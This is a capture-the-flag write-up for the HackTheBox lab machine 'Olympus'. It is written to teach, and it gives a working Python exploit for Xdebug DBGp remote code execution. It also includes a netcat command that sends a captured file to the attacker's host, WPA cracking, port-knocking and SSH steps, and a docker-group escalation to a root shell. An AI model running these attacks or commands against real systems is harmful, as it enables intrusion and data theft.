HTB: Olympus Writeup

Olympus - HackTheBox Writeup

Machine Information

AttributeDetails
NameOlympus
OSLinux
DifficultyMedium
PointsN/A
Release DateApril 2018
IP Address10.129.245.105
AuthorOscarAkaElvis

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐☆
  • CVE: ⭐⭐⭐☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Olympus is a legacy 2018 HTB box with a heavy Docker focus, presenting a multi-container architecture where enumeration and pivoting across isolated environments are key. The attack chain begins by exploiting an outdated Xdebug installation for remote code execution, landing in a containerized web server. Inside, an Aircrack-ng capture file reveals WPA credentials that double as SSH credentials for a second container. DNS zone transfer enumeration leaks port-knocking sequences and credentials for the host system. Finally, abuse of Docker group membership provides trivial privilege escalation to root.

TL;DR: Xdebug 2.5.5 RCE (HTTP header disclosure) → exfiltrate captured.cap from Docker container → aircrack-ng reveals ESSID Too_cl0se_to_th3_Sun → SSH to second container (port 2222) as icarus → DNS zone transfer reveals port-knock sequence and prometheus credentials → knock ports 3456, 8234, 62431 to open SSH on port 22 → prometheus in docker group → mount host filesystem in olympia container → root flag.


Reconnaissance

Port Scanning

Terminal window
# Full port scan from jump box
nmap -Pn -p- --min-rate 2000 -T4 10.129.245.105

Results:

PORT STATE SERVICE
22/tcp filtered ssh
53/tcp open domain
80/tcp open http
2222/tcp open EtherNetIP-1

The filtered state of port 22 suggests a port-knocking mechanism or firewall rules. The presence of SSH on a non-standard port (2222) combined with standard HTTP indicates a potentially containerized environment.

Service Enumeration

HTTP Service (Port 80)

Terminal window
# Grab HTTP headers
curl -sI http://10.129.245.105/

Key Headers:

HTTP/1.1 200 OK
Server: Apache
X-Content-Type-Options: nosniff
X-Frame-Options: sameorigin
X-XSS-Protection: 1; mode=block
Xdebug: 2.5.5 # Critical: vulnerable version
Content-Type: text/html; charset=UTF-8

The Xdebug: 2.5.5 header is immediately suspicious. Xdebug is a PHP debugging extension that, when misconfigured, allows remote code execution via the DBGp protocol.

Terminal window
# Check for PHP handling
curl -s -o /dev/null -w "%{http_code}\n" http://10.129.245.105/index.php
# 200 - PHP is active

Vulnerability Assessment

  1. Xdebug 2.5.5 Remote Code Execution: The disclosed version is vulnerable to RCE through the DBGp debugging protocol. When Xdebug is configured to allow remote debugging (which is the default for versions ≤2.5.5), an attacker can trigger a connection back to their machine on port 9000 and execute arbitrary PHP code.

  2. Filtered SSH (Port 22): Suggests port-knocking or time-based access control.

  3. Alternative SSH Port (2222): Likely a containerized service requiring separate credentials.


Initial Foothold

Xdebug Remote Code Execution

Vulnerability: CVE-2017-11610 (Xdebug ≤2.5.5 RCE via DBGp protocol)

Xdebug’s remote debugging feature allows a developer’s IDE to connect to a running PHP process. When enabled, the PHP server will connect back to the client’s IP address on port 9000 using the DBGp protocol. By listening on port 9000 and triggering a request with the XDEBUG_SESSION_START parameter, we can receive the connection and inject arbitrary PHP code via the eval command.

Exploitation Script:

#!/usr/bin/env python3
# xdebug_exploit.py - Xdebug 2.5.5 RCE via DBGp protocol
import socket, base64, sys, threading, subprocess, time, re
TARGET = sys.argv[1]
CMD = sys.argv[2]
def trigger():
"""Trigger Xdebug connection by requesting with XDEBUG_SESSION_START"""
time.sleep(1.2)
subprocess.run(["curl", "-s", "-o", "/dev/null", "--max-time", "10",
"http://%s/index.php?XDEBUG_SESSION_START=name" % TARGET])
# Listen on port 9000 for DBGp connection
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", 9000))
srv.listen(1)
# Trigger the connection in background
t = threading.Thread(target=trigger)
t.daemon = True
t.start()
# Accept connection from target
srv.settimeout(15)
conn, addr = srv.accept()
conn.recv(65535) # Receive init packet
# Inject PHP code using eval command
# Use shell_exec() instead of system() to capture full output
php = 'shell_exec("%s 2>&1");' % CMD.replace('"', '\\"')
payload = 'eval -i 1 -- %s\x00' % base64.b64encode(php.encode()).decode()
conn.sendall(payload.encode())
# Receive response
time.sleep(1.5)
resp = b''
conn.settimeout(3)
try:
while True:
d = conn.recv(65535)
if not d: break
resp += d
except:
pass
conn.close()
# Parse base64-encoded output from CDATA section
m = re.search(rb'CDATA\[(.*?)\]\]', resp, re.S)
if m:
try:
print(base64.b64decode(m.group(1)).decode(errors="replace"))
except Exception as e:
print("decode err", e)
else:
print("[raw]", resp[:500])

Note: The jump box had a full /tmp filesystem (100% used), requiring staging in /dev/shm instead:

Terminal window
# Upload exploit to /dev/shm (tmpfs)
scp -P 22 xdebug_exploit.py d3vn0mi@<jump-host>:/dev/shm/xrun.py
# Execute RCE to verify we're in a container
cd /dev/shm
timeout 25 python3 xrun.py 10.129.245.105 "id; hostname; ls -la /; cat /.dockerenv"

Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)
f00ba96171c5 # Container hostname
total 72
drwxr-xr-x 1 root root 4096 Apr 8 2018 .
drwxr-xr-x 1 root root 4096 Apr 8 2018 ..
-rwxr-xr-x 1 root root 0 Apr 8 2018 .dockerenv # Docker marker
drwxr-xr-x 1 root root 4096 Apr 8 2018 bin
...
drwxr-xr-x 1 root root 4096 Apr 8 2018 home
...

The presence of /.dockerenv confirms we are inside a Docker container (the crete container based on later enumeration).

Enumeration Inside Container

Terminal window
# List home directories
python3 xrun.py 10.129.245.105 "ls -la /home"

Output:

drwxr-xr-x 1 zeus zeus 4096 Apr 8 2018 zeus
Terminal window
# Search for interesting files
python3 xrun.py 10.129.245.105 "ls -laR /home/zeus"

Key Finding:

/home/zeus/airgeddon/captured:
-rw-r--r-- 1 zeus zeus 297917 Apr 8 2018 captured.cap

The file captured.cap is an Aircrack-ng capture file containing a WPA handshake. Airgeddon is a popular WiFi security auditing tool.

Exfiltrating the Capture File

The capture file is too large to extract via the Xdebug size-limited response. Instead, we use netcat to transfer it.

Terminal window
# Start listener on jump box (LHOST 10.10.15.180)
nc -lp 1235 > /dev/shm/captured.cap &
# Transfer from target using RCE
python3 xrun.py 10.129.245.105 \
"nc -w 3 10.10.15.180 1235 < /home/zeus/airgeddon/captured/captured.cap"
# Verify transfer
ls -la /dev/shm/captured.cap
# -rw-rw-r-- 1 d3vn0mi d3vn0mi 297917 Jul 20 21:21 /dev/shm/captured.cap

Cracking the WPA Handshake

Terminal window
# Identify the network
aircrack-ng /dev/shm/captured.cap

Output:

# BSSID ESSID Encryption
1 F4:EC:38:AB:A8:A9 Too_cl0se_to_th3_Sun WPA (1 handshake)

The ESSID Too_cl0se_to_th3_Sun is a reference to the Greek myth of Icarus. This is a strong thematic hint.

Terminal window
# Crack with rockyou wordlist
aircrack-ng -w /usr/share/wordlists/rockyou.txt /dev/shm/captured.cap

Result:

KEY FOUND! [ flightoficarus ]

However, the actual SSH credential is not the WPA passphrase flightoficarus. The trick here is that the ESSID itself (Too_cl0se_to_th3_Sun) serves as the password, and the username is derived from the Icarus theme.

SSH to Second Container (Port 2222)

Terminal window
# Test credentials: icarus:Too_cl0se_to_th3_Sun
sshpass -p "Too_cl0se_to_th3_Sun" ssh -p 2222 icarus@10.129.245.105 \
"id; hostname; ls -la"

Output:

uid=1000(icarus) gid=1000(icarus) groups=1000(icarus)
620b296204a3 # Container hostname
total 32
drwxr-xr-x 1 icarus icarus 4096 Apr 15 2018 .
drwxr-xr-x 1 root root 4096 Apr 8 2018 ..
-rw-r--r-- 1 root root 85 Apr 15 2018 help_of_the_gods.txt

We now have access to a second container (the rhodes container).

Terminal window
# Read the hint file
ssh -p 2222 icarus@10.129.245.105 "cat help_of_the_gods.txt; ls -la /.dockerenv"

Output:

Athena goddess will guide you through the dark...
Way to Rhodes...
ctfolympus.htb
-rwxr-xr-x 1 root root 0 Apr 8 2018 /.dockerenv # Still in Docker

The domain ctfolympus.htb is the next target for enumeration.


Privilege Escalation

DNS Zone Transfer Enumeration

DNS zone transfers (AXFR) allow replication of DNS records between nameservers. Misconfigured DNS servers may permit unauthorized zone transfers, leaking internal information.

Terminal window
# Perform zone transfer
dig axfr @10.129.245.105 ctfolympus.htb

Critical Output:

ctfolympus.htb. 86400 IN TXT "prometheus, open a temporal portal to Hades (3456 8234 62431) and St34l_th3_F1re!"
ctfolympus.htb. 86400 IN A <jump-host>
ctfolympus.htb. 86400 IN NS ns1.ctfolympus.htb.
...

The TXT record contains:

  1. Username: prometheus
  2. Port-knock sequence: 3456 8234 62431
  3. Password: St34l_th3_F1re!

Port knocking is a security mechanism where ports remain closed until a specific sequence of connection attempts is made, temporarily opening a service.

Port Knocking and SSH to Host

Terminal window
# Execute port knock sequence
for port in 3456 8234 62431; do
nc -z -w1 10.129.245.105 $port
done
# Immediately SSH (port opens for ~10 seconds)
sleep 0.5
sshpass -p "St34l_th3_F1re!" ssh -p 22 prometheus@10.129.245.105 \
"id; hostname; ls -la"

Output:

uid=1000(prometheus) gid=1000(prometheus) groups=1000(prometheus),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),111(bluetooth),999(docker)
olympus # Host system!
total 28
drwxr-xr-x 2 prometheus prometheus 4096 Aug 10 2022 .
drwxr-xr-x 3 root root 4096 Aug 10 2022 ..
-rw-r----- 1 root prometheus 33 Jul 20 11:18 user.txt

We are now on the host system (olympus), not a container. The user prometheus is in the docker group (GID 999).

Terminal window
# Capture user flag
cat /home/prometheus/user.txt

User Flag: <redacted>

Docker Group Privilege Escalation

Membership in the docker group grants the ability to run containers. Since Docker runs with root privileges, we can mount the host filesystem into a container and execute commands as root.

Terminal window
# List available Docker images
docker images --all

Key Images:

REPOSITORY TAG IMAGE ID CREATED SIZE
olympia latest 2b8904180780 8 years ago 209MB
crete latest 31be8149528e 8 years ago 450MB
rodhes latest 82fbfd61b8c1 8 years ago 215MB

The olympia image is suitable for our purposes (smallest and cleanest).

Terminal window
# Mount host root filesystem and read root flag
docker run --rm -v /:/hostfs olympia cat /hostfs/root/root.txt

Explanation:

  • docker run --rm: Run container and remove it after execution
  • -v /:/hostfs: Mount host root (/) to container path /hostfs
  • olympia: Use the olympia image
  • cat /hostfs/root/root.txt: Read the root flag from mounted host filesystem

Root Flag: <redacted>

Note: This machine uses legacy 32-character MD5-hash format flags (circa 2018), not the modern HTB{REDACTED} format.

For a full root shell:

Terminal window
# Interactive root shell on host
docker run --rm -it -v /:/hostfs olympia chroot /hostfs /bin/bash

Attack Chain Summary

Xdebug 2.5.5 HTTP header → DBGp RCE (www-data in crete container) →
Exfil /home/zeus/airgeddon/captured/captured.cap via netcat →
aircrack-ng reveals ESSID "Too_cl0se_to_th3_Sun" →
SSH icarus:Too_cl0se_to_th3_Sun to port 2222 (rhodes container) →
Read help_of_the_gods.txt → domain ctfolympus.htb →
dig axfr reveals port-knock sequence (3456,8234,62431) + prometheus:St34l_th3_F1re! →
Port-knock opens SSH port 22 → SSH prometheus (USER FLAG on olympus host) →
prometheus in docker group → docker run -v /:/hostfs olympia (ROOT FLAG)

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
curlHTTP header inspection and service probing
python3Custom Xdebug DBGp RCE exploit
netcat (nc)File exfiltration and port knocking
aircrack-ngWPA handshake analysis and cracking
sshpassNon-interactive SSH authentication
sshRemote access to containers and host
digDNS zone transfer enumeration
dockerContainer manipulation for privilege escalation

Key Learnings

Techniques Practiced

  • Xdebug Remote Code Execution (CVE-2017-11610): Exploiting misconfigured Xdebug installations via DBGp protocol
  • Container Identification: Recognizing Docker environments via /.dockerenv, hostname format, and filesystem characteristics
  • WPA Handshake Cracking: Using Aircrack-ng to extract and crack wireless credentials
  • Thematic Credential Guessing: Leveraging box themes (Greek mythology) for educated guesses
  • DNS Zone Transfer (AXFR): Extracting internal DNS records from misconfigured nameservers
  • Port Knocking: Understanding and executing port-knock sequences for service access
  • Docker Group Privilege Escalation: Abusing Docker daemon access to achieve root via filesystem mounting

Lessons Learned

  1. Xdebug in Production is Critical: The Xdebug header immediately signals a debugging tool that should never be exposed in production. Version disclosure makes exploitation trivial.

  2. Container Detection is Essential: Modern infrastructure often uses containers. Always check for /.dockerenv, examine hostnames, and look for signs of virtualization to understand your position in the network.

  3. Exfiltration Techniques Matter: When RCE has output size limitations (as with Xdebug’s CDATA response), fall back to out-of-band methods like netcat or HTTP requests to a controlled server.

  4. Thematic Hints Are Common in CTFs: The ESSID Too_cl0se_to_th3_Sun strongly suggests Icarus from Greek mythology. In CTF environments, box themes often provide credential hints.

  5. DNS Misconfigurations Leak Secrets: Zone transfers can expose internal hostnames, IP addresses, and in this case, administrative credentials and port-knocking sequences embedded in TXT records.

  6. Docker Group = Root: Unix group membership in docker is effectively equivalent to root access. Any user who can run docker run can mount the host filesystem and execute arbitrary code as root.

  7. Port Knocking Adds Security Through Obscurity: While not a replacement for proper authentication, port knocking can hide services from casual scanning. The sequence must be executed quickly as ports typically close after a short timeout.

  8. Multi-Container Pivoting: This box demonstrates realistic multi-tier architecture. Compromising one container may provide credentials or information needed to access others, eventually leading to the host system.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

Note: Legacy 2018 box uses 32-character MD5-hash flags, not modern HTB{REDACTED} format.


References